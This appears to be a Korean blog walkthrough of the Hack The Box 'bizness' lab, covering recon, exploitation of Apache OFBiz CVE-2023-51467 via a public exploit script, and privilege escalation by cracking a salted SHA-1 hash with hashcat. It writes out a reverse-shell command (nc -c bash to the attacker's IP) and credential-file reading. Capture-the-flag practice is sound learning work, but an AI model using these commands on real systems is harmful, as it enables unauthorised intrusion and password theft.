Oh! JUN
[Hack The Box] bizness 본문
1. 정보수집
1.1. 포트 스캔
nmap -sV 10.10.11.252 -T5
1.2. 디렉터리 확인
dirsearch -u https://bizness.htb
'accounting' 로그인 관련 디렉터리인거 같음.
1.3. 서브 도메인 확인
ffuf -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://bizness.htb/ -H "Host: FUZZ.bizness.htb" -mc 200
서브 도메인은 확인 할 수 없었음.
2. 초기접근
2.1. 'CVE-2023-51467' 활용한 리버스 쉘
https://bizness.htb/accounting
Apache OFBiz는 오픈 소스 전사적 자원 관리 시스템입니다. 엔터프라이즈의 많은 비즈니스 프로세스를 통합하고 자동화하는 엔터프라이즈 애플리케이션 제품군을 제공합니다. OFBiz는 Apache Software Foundation 최상위 프로젝트입니다 |
'/accounting' 디렉터리 검색해보니까 로그인 관련 웹 페이지를 확인할 수 있음. OFBIZ 관련해서 CVE 검색해볼꺼임.
wget https://raw.githubusercontent.com/jakabakos/Apache-OFBiz-Authentication-Bypass/master/exploit.py
'CVE-2023-51467' 취약점을 확인할 수 있었고 사용해서 리버스 쉘을 실행할꺼임.
wget https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/raw/master/ysoserial-all.jar
exploit와 동일한 디렉터리에 ysoserial-all.jar 파일이 있어야 함.
python3 exploit.py --url https://bizness.htb/ --cmd 'nc -c bash 10.10.14.68 9001'
해당 exploit은 https://bizness.htb/(공격대상) 10.10.14.68 9001(공격자)와 리버스스 쉘 연결할꺼임.
nc -lvp 9001
공격자는 9001 포트 열어놓으면 리버스 쉘 연결된것을 확인할 수 있음.
find / -name "user.txt" 2>/dev/null
먼저, 'user.txt' flag를 확인할 수 있음.
3. 권한상승
3.1. SHA-1 해시 크랙
cat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c54d0.dat
필드 | 설명 |
'SHA' | SHA 암호 알고리즘 |
'd' | 솔트 |
'uP0_QaVBpDWFeo8-dRzDqRwXQ2I' | 암호화된 해시 |
- SHA-1: 160비트의 해시 값을 생성하며, 16진수로 표현하면 40자리입니다.
- SHA-224: 224비트의 해시 값을 생성하며, 16진수로 표현하면 56자리입니다.
- SHA-256: 256비트의 해시 값을 생성하며, 16진수로 표현하면 64자리입니다.
- SHA-384: 384비트의 해시 값을 생성하며, 16진수로 표현하면 96자리입니다.
- SHA-512: 512비트의 해시 값을 생성하며, 16진수로 표현하면 128자리입니다.
암호화된 해시(uP0_QaVBpDWFeo8-dRzDqRwXQ2I)를 확인하면 25자임. 분명 SHA 알고리즘을 사용했지만, SHA-1, SHA-224, SHA-256 ... 그 어디에도 속하지 않음.
Base64 인코딩은 바이너리 데이터를 ASCII 문자로 변환하는 인코딩 방법입니다. 이 방법은 바이너리 데이터를 텍스트로 안전하게 전송하거나 저장할 수 있게 해줍니다.
Base64 인코딩은 64개의 안전한 문자(대문자 A-Z, 소문자 a-z, 숫자 0-9, 그리고 '+'와 '/')를 사용합니다. 또한, '=' 문자는 패딩으로 사용됩니다.
그러나, '+'와 '/' 문자는 URL과 파일 시스템에서 특별한 의미를 가지므로, 이 문자들을 사용한 Base64 인코딩된 데이터를 URL에 직접 포함시키거나 파일 이름으로 사용하는 것은 문제를 일으킬 수 있습니다.
따라서, 이런 문제를 피하기 위해 URL 안전한 버전의 Base64 인코딩이 만들어졌습니다. 이 버전에서는 '+' 문자 대신 '-' 문자를, '/' 문자 대신 '_' 문자를 사용합니다. 이렇게 하면 인코딩된 데이터를 URL에 직접 포함시키거나 파일 이름으로 사용해도 문제가 발생하지 않습니다.
따라서, 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I'와 같이 '-'와 '' 문자를 포함하는 Base64 인코딩된 데이터는 URL 안전한 버전의 Base64 인코딩을 사용한 것으로 보입니다. 이 데이터를 표준 Base64 인코딩으로 변환하려면 '-'를 '+'로, ''를 '/'로 치환해야 합니다.
b8fd3f41a541a435857a8f3e751cc3a91c174362:d
'hash:salt' 형식으로 hash.txt 파일을 만들어 줌.
hashcat -m 120 -a 0 --force hash.txt /usr/share/wordlists/rockyou.txt
옵션 | 설명 |
-m 120 | 해시 유형: SHA1 해시에 대한 암호화된 형식 |
-a 0 | 공격 모드 : 사전 공격 |
--force | 일부 공고나 체크를 무시함 |
'usr/share/wrodlists/rockyou.txt' 워드리스트를 사용해서 hash.txt를 크랙함.
b8fd3f41a541a435857a8f3e751cc3a91c174362:d를 크랙한 결과 'monkeybizness'임을 알 수 있음.
su root
root 권한으로 상승.
find / -name "root.txt" 2>/dev/null
'root.txt' flag 확인.
'문제풀이 > Hack The Box' 카테고리의 다른 글
[Hack The Box] crafty (보류 => 문제해결 => 또 안됨) (0) | 2024.02.20 |
---|---|
[Hack The Box] codify (0) | 2024.02.16 |
[Hack The Box] analytics (0) | 2024.02.14 |
[Hack The Box] devvortex (0) | 2024.02.14 |
[Hack The Box] cozyhosting (0) | 2024.02.13 |